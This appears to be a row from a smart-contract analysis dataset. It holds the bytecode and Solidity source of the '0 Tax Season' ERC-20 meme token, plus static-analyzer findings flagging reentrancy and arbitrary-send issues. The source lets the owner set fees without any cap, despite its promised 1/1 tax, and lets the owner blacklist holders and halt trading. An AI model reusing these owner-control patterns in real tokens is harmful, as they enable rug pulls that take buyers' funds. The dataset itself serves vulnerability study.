5092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209053396eb43fcbd64c0499f7bc70147b02ef2e1e7201f69e99d0bc9d6b977a1064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 318 |
0xDC142C20F72762786719b8B8063fa08c2dc63317 | /**
First coin did 3m, second coin 10x.
This one should get similiar or better results, gl.
No tg cuz that only creates fud.
0 TAX SEASON
Keeping taxes 1/1 to keep you guys away from frontrunning bots.
Liq will be locked
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TAXSEASON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "0 Tax Season";
string private constant _symbol = "0";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 1;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x1feffbcC3C267670B4E8EcE0bA1138954C1d2327);
address payable private _marketingAddress = payable(0x1feffbcC3C267670B4E8EcE0bA1138954C1d2327);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 500000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104af57600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b5060408051808201909152600c81526b18102a30bc1029b2b0b9b7b760a11b60208201525b60405161023c9190611a23565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a78565b610699565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa4565b6106b0565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae5565b610719565b34801561037057600080fd5b506101fc61037f366004611b12565b610764565b34801561039057600080fd5b506101fc6107ac565b3480156103a557600080fd5b506102c46103b4366004611ae5565b6107f7565b3480156103c557600080fd5b506101fc610819565b3480156103da57600080fd5b506101fc6103e9366004611b2d565b61088d565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae5565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b12565b6108bc565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260018152600360fc1b602082015261022f565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026561050a366004611a78565b610971565b34801561051b57600080fd5b5061026561052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c461058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd8383